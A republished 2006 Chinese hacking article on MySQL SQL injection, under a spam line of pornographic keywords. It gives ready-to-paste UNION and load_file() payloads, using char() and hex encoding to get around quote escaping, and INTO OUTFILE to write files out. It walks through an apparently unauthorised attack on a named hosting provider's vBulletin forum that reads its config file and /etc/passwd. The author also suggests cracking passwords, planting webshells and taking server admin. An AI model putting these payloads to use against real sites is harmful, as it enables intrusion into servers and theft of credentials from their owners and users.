欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Advanced SQL Injection with MySQL

 更新時(shí)間:2006年12月03日 00:00:00   作者:  

文/圖 安全天使·angel[BST]

前言

  我的《SQL Injection with MySQL》(《黑客防線》7月的專題)已經(jīng)對(duì)MySQL的注入有了比較全面的介紹了,但是有一個(gè)危害相當(dāng)大的函數(shù),我并沒有在文中提及,因?yàn)槿绻莒`活應(yīng)用這個(gè)函數(shù),那PHP甚至服務(wù)器的安全性均會(huì)大打折扣,由于《SQL Injection with MySQL》的發(fā)表時(shí)間是在暑假期間,考慮到很多新手、學(xué)生和品德敗壞的人亂用,所以我并沒有把這個(gè)寫在該文里,其實(shí)本文在5月初已寫完。專題發(fā)表后,很多人已經(jīng)陸續(xù)轉(zhuǎn)到PHP+MYSQL注入的研究,很多新技術(shù)將會(huì)陸續(xù)挖掘出來,我們所掌握這方面未公開的高級(jí)技巧也會(huì)陸續(xù)公布出來。至于比較基礎(chǔ)的東西,本文就不再提了。

詳細(xì)

  我們知道,在SQL語句中,可以使用各種MySQL內(nèi)置的函數(shù),經(jīng)常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()這些函數(shù)來獲取一些系統(tǒng)的信息,還有一個(gè)應(yīng)用得比較多的函數(shù),就是load_file(),該函數(shù)的作用是讀入文件,并將文件內(nèi)容作為一個(gè)字符串返回。
  看到這里,應(yīng)該可以想到我們可以做什么了,就是讀取一些機(jī)密文件,但是也是有條件限制的:

  • 欲讀取文件必須在服務(wù)器上
  • 必須指定文件完整的路徑
  • 必須有權(quán)限讀取并且文件必須完全可讀
  • 欲讀取文件必須小于 max_allowed_packet

  如果該文件不存在,或因?yàn)樯厦娴娜我辉蚨荒鼙蛔x出,函數(shù)返回空。比較難滿足的就是權(quán)限,在windows下,如果NTFS設(shè)置得當(dāng),是不能讀取相關(guān)的文件的,當(dāng)遇到只有administrators才能訪問的文件,users就別想load_file出來。

  在實(shí)際的注入中,我們有兩個(gè)難點(diǎn)需要解決:

  • 絕對(duì)物理路徑
  • 構(gòu)造有效的畸形語句

  在很多PHP程序中,當(dāng)提交一個(gè)錯(cuò)誤的Query,如果display_errors = on,程序就會(huì)暴露WEB目錄的絕對(duì)路徑,只要知道路徑,那么對(duì)于一個(gè)可以注入的PHP程序來說,整個(gè)服務(wù)器的安全將受到嚴(yán)重的威脅。構(gòu)造語句已經(jīng)是小意思了。

利用

  我們假設(shè)一個(gè)程序的SQL語句如下:

SELECT * FROM article WHERE articleid=$id

  注:當(dāng)前條件:magic_quotes_gpc = off,c:/boot.ini可讀。

  此時(shí),我們構(gòu)造$id為:

-1 union select 1,1,1,1,load_file('c:/boot.ini')

  我們的Query就變成:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')

  程序會(huì)把c:/boot.ini內(nèi)容老老實(shí)實(shí)顯示出來,但是現(xiàn)在magic_quotes_gpc = off的主機(jī)少之又少,怎么才能構(gòu)造出沒有引號(hào)的語句呢?看過《SQL Injection with MySQL》的朋友肯定知道用char()函數(shù)或者把字符轉(zhuǎn)換成16進(jìn)制,沒錯(cuò),就是它們。

  注:當(dāng)前條件:magic_quotes_gpc = on,c:/boot.ini可讀。

  我們構(gòu)造$id為:

-1 union select 1,1,1,load_file(char(99, 58, 47, 98, 111, 111, 116, 46, 105, 110, 105))

  “char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代碼,我們的Query就變成:

SELECT * FROM article WHERE articleid=-1 union select 1, 1, 1, load_file(char(99, 58, 47, 98, 111, 111, 116, 46, 105, 110, 105))

  我們也可以成功的讀取boot.ini文件,還有把字符串轉(zhuǎn)換為16進(jìn)制的,“c:/boot.ini”的16進(jìn)制是“0x633a2f626f6f742e696e69”,所以上面的語句可以是這樣:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

  比較短了,看各人喜好了,大家可以在phpmyadmin或mysql>下輸入以下查詢慢慢研究。

SELECT load_file([string])

  當(dāng)然,在實(shí)際應(yīng)用中,由于種種條件限制,文件的內(nèi)容未必會(huì)顯示出來,我們也可以用into outfile把文件導(dǎo)出。大家已經(jīng)知道如何利用了,我也不說細(xì)節(jié)了,看一個(gè)實(shí)例說明一切。

實(shí)例

  www.***host.cn是我國著名的FreeBSD主機(jī)提供商,我們就拿他來測試,因?yàn)樗恼搲捎玫氖莄alendar.php存在問題的VBB論壇,我就不需要到處去找有漏洞的站點(diǎn)了(雖然到處都是)。這是一次完整的安全測試。僅僅獲取信息,我并未進(jìn)入服務(wù)器。

  這里補(bǔ)充說明一點(diǎn)關(guān)于VBB的根目錄下global.php的一段代碼,如下:

<?php
// get rid of slashes in get / post / cookie data
function stripslashesarray (&$arr
) {
    while (list(
$key,$val)=each($arr
)) {
        if (
$key!="templatesused" and $key!="argc" and $key!="argv"
) {
            if (
is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"
))) {
                
$arr["$key"] = stripslashes($val
);
            } else if (
is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS' OR strtoupper($key)!=$key
)) {
                
$arr["$key"] = stripslashesarray($val
);
            }
        }
    }
    return
$arr
;
}
if (
get_magic_quotes_gpc() and is_array($GLOBALS
)) {
    if (isset(
$attachment
)) {
        
$GLOBALS['attachment'] = addslashes($GLOBALS['attachment'
]);
    }
    if (isset(
$avatarfile
)) {
        
$GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile'
]);
    }
    
$GLOBALS = stripslashesarray($GLOBALS
);
}

set_magic_quotes_runtime(0
);

?>

  這段代碼的作用就是如果magic_quotes_gpc打開,就去掉所有特殊字符的前面的轉(zhuǎn)義字符,所以,不管php.ini里magic_quotes_gpc的狀態(tài)如何,我們輸入的單引號(hào)都沒有影響的,大家可以放心注入。呵呵。

  我們知道,提交:

/calendar.php?action=edit&eventid=1 UNION SELECT 1, 1, 1, 1, username, password FROM user WHERE userid=1

  是可以獲取用戶名和密碼MD5散列的,但是由于特殊原因,并沒有顯示出來,但憑我的經(jīng)驗(yàn),知道并沒有構(gòu)造錯(cuò),所以我們可以讀取并導(dǎo)出成文件。
  因?yàn)槭孪任覠o意中訪問到了含有phpinfo()的文件,所以知道了WEB的絕對(duì)路徑,從訪問站點(diǎn)的結(jié)果,發(fā)現(xiàn)一個(gè)下載系統(tǒng)是生成HTML文件的,如果那個(gè)目錄沒有可寫權(quán)限,是不能生成HTML文件的,不過這一切都不是本文的重點(diǎn),我們現(xiàn)在掌握如下信息:

  • WEB絕對(duì)路徑:/home/4ngel
  • 可寫目錄路徑:/home/4ngel/soft/
  • magic_quotes_gpc = on

  和主機(jī)root相比,論壇的admin根本就不算什么,我對(duì)論壇admin也不感興趣,我們要讀取論壇的配置文件還有/etc/passwd,知道MySQL的連接信息,可以從這里入手,寫webshell或其他的東西,知道/etc/passwd我們可以跑密碼。直接從ssh上去。

  VBB論壇的配置文件在/home/4ngel/forum/admin/config.php,轉(zhuǎn)換成ASCII代碼,提交:

calendar.php?action=edit&eventid=1 UNION SELECT 1, 1, 1, 1, 1, load_file(char(47, 104, 111, 109, 101, 47, 52, 110, 103, 101, 108, 47, 102, 111, 114, 117, 109, 47, 97, 100, 109, 105, 110, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104, 112)) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'

  呵呵,記得加一個(gè)where來定一個(gè)條件,否則如果論壇用戶很多,那么導(dǎo)出的文件會(huì)相當(dāng)大?;蛘吒纱嘀付?eventid為一個(gè)不存在的值,就不用where了,就像這樣:

calendar.php?action=edit&eventid=-1 UNION SELECT 1, 1, 1, 1, 1, load_file(char(47, 104, 111, 109, 101, 47, 52, 110, 103, 101, 108, 47, 102, 111, 114, 117, 109, 47, 97, 100, 109, 105, 110, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104, 112)) FROM user into outfile '/home/4ngel/soft/cfg.txt'

  /etc/passwd轉(zhuǎn)換成ASCII代碼,提交:

calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'

  注意看到論壇的頂部,會(huì)出現(xiàn)下面的錯(cuò)誤提示:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line 154

  經(jīng)驗(yàn)告訴我們,文件導(dǎo)出成功了,提交:

http://www.xxxhost.cn/soft/cfg.txt
http://www.xxxhost.cn/soft/etcpwd.txt

  內(nèi)容嘩啦啦的出來了,而黑夜和豬蛋的他們?nèi)肭只疑臅r(shí)候,一個(gè)個(gè)顯示密碼,欺騙,登陸后臺(tái),上傳后門,讀取config.php,一連串的步驟,我一個(gè)load_file()就搞定了。是不是危害很大?如圖:

  我記得在某個(gè)群里討論到大家都是通過搞9****.net這個(gè)站,而進(jìn)入黑白服務(wù)器的,沒有辦法對(duì)黑白橫沖直闖,只得來曲線的。用load_file()函數(shù),知道了某些信息就可以進(jìn)入黑白所在的服務(wù)器,過程和上面的一樣,利用show.php的漏洞,直接load_file出程序的配置文件,知道了mysql的信息,遠(yuǎn)程連接,寫數(shù)據(jù)庫導(dǎo)出文件,很容易獲得服務(wù)器admin。

后記

  由于危害太大,我一直都不太敢發(fā)布,相信國內(nèi)也有人知道的。只是不公開而已。經(jīng)過再三考慮還是決定發(fā)布了,希望大家掌握了以后,不要對(duì)國內(nèi)的站點(diǎn)做任何具有破壞性的操作。謝謝合作!

相關(guān)文章

  • 在同一臺(tái)機(jī)器上運(yùn)行多個(gè) MySQL 服務(wù)

    在同一臺(tái)機(jī)器上運(yùn)行多個(gè) MySQL 服務(wù)

    在同一臺(tái)機(jī)器上運(yùn)行多個(gè) MySQL 服務(wù)...
    2006-11-11
  • mysql自增長id用完了該怎么辦

    mysql自增長id用完了該怎么辦

    如果你用過或了解過MySQL,那你一定知道自增主鍵了,下面這篇文章主要給大家介紹了關(guān)于mysql自增長id用完了該怎么辦的相關(guān)資料,需要的朋友可以參考下
    2022-02-02
  • MySQL深分頁問題原理與三種解決方案

    MySQL深分頁問題原理與三種解決方案

    本文主要介紹了MySql深分頁問題原理與解決方案,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-05-05
  • win11設(shè)置mysql開機(jī)自啟的實(shí)現(xiàn)方法

    win11設(shè)置mysql開機(jī)自啟的實(shí)現(xiàn)方法

    本文主要介紹了win11設(shè)置mysql開機(jī)自啟的實(shí)現(xiàn)方法,要通過命令行方式設(shè)置,具有一定的參考價(jià)值,感興趣的可以了解一下
    2024-03-03
  • MySQL中CONCAT和GROUP_CONCAT方法的區(qū)別詳解

    MySQL中CONCAT和GROUP_CONCAT方法的區(qū)別詳解

    本文主要介紹了MySQL中CONCAT和GROUP_CONCAT方法的區(qū)別詳解,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-01-01
  • 如何提高M(jìn)ySQL Limit查詢性能的方法詳解

    如何提高M(jìn)ySQL Limit查詢性能的方法詳解

    今天小編就為大家分享一篇關(guān)于如何提高M(jìn)ySQL Limit查詢性能的方法詳解,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧
    2019-03-03
  • 淺談sql數(shù)據(jù)庫去重

    淺談sql數(shù)據(jù)庫去重

    關(guān)于sql去重,我簡單談一下自己的理解和經(jīng)驗(yàn),如果各位有建議或有不明白的歡迎多多指出。
    2014-08-08
  • MySQL定時(shí)全庫備份數(shù)據(jù)庫

    MySQL定時(shí)全庫備份數(shù)據(jù)庫

    數(shù)據(jù)備份真的很重要, 因?yàn)榭赡苡幸惶鞌?shù)據(jù)會(huì)被莫名其妙的刪掉了,本文主要介紹了MySQL定時(shí)備份數(shù)據(jù)庫,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2021-07-07
  • MySQL觸發(fā)器運(yùn)用于遷移和同步數(shù)據(jù)的實(shí)例教程

    MySQL觸發(fā)器運(yùn)用于遷移和同步數(shù)據(jù)的實(shí)例教程

    這篇文章主要介紹了MySQL觸發(fā)器運(yùn)用于遷移和同步數(shù)據(jù)的實(shí)例教程,分別是SQL Server數(shù)據(jù)遷移至MySQL以及同步備份數(shù)據(jù)表記錄的兩個(gè)例子,需要的朋友可以參考下
    2015-12-12
  • MySQL 查詢速度慢與性能差的原因與解決方法

    MySQL 查詢速度慢與性能差的原因與解決方法

    隨著網(wǎng)站數(shù)據(jù)量與訪問量的增加,MySQL 查詢速度慢與性能差的問題就日漸明顯,這里為大家分享一下解決方法,需要的朋友可以參考下
    2019-09-09

最新評(píng)論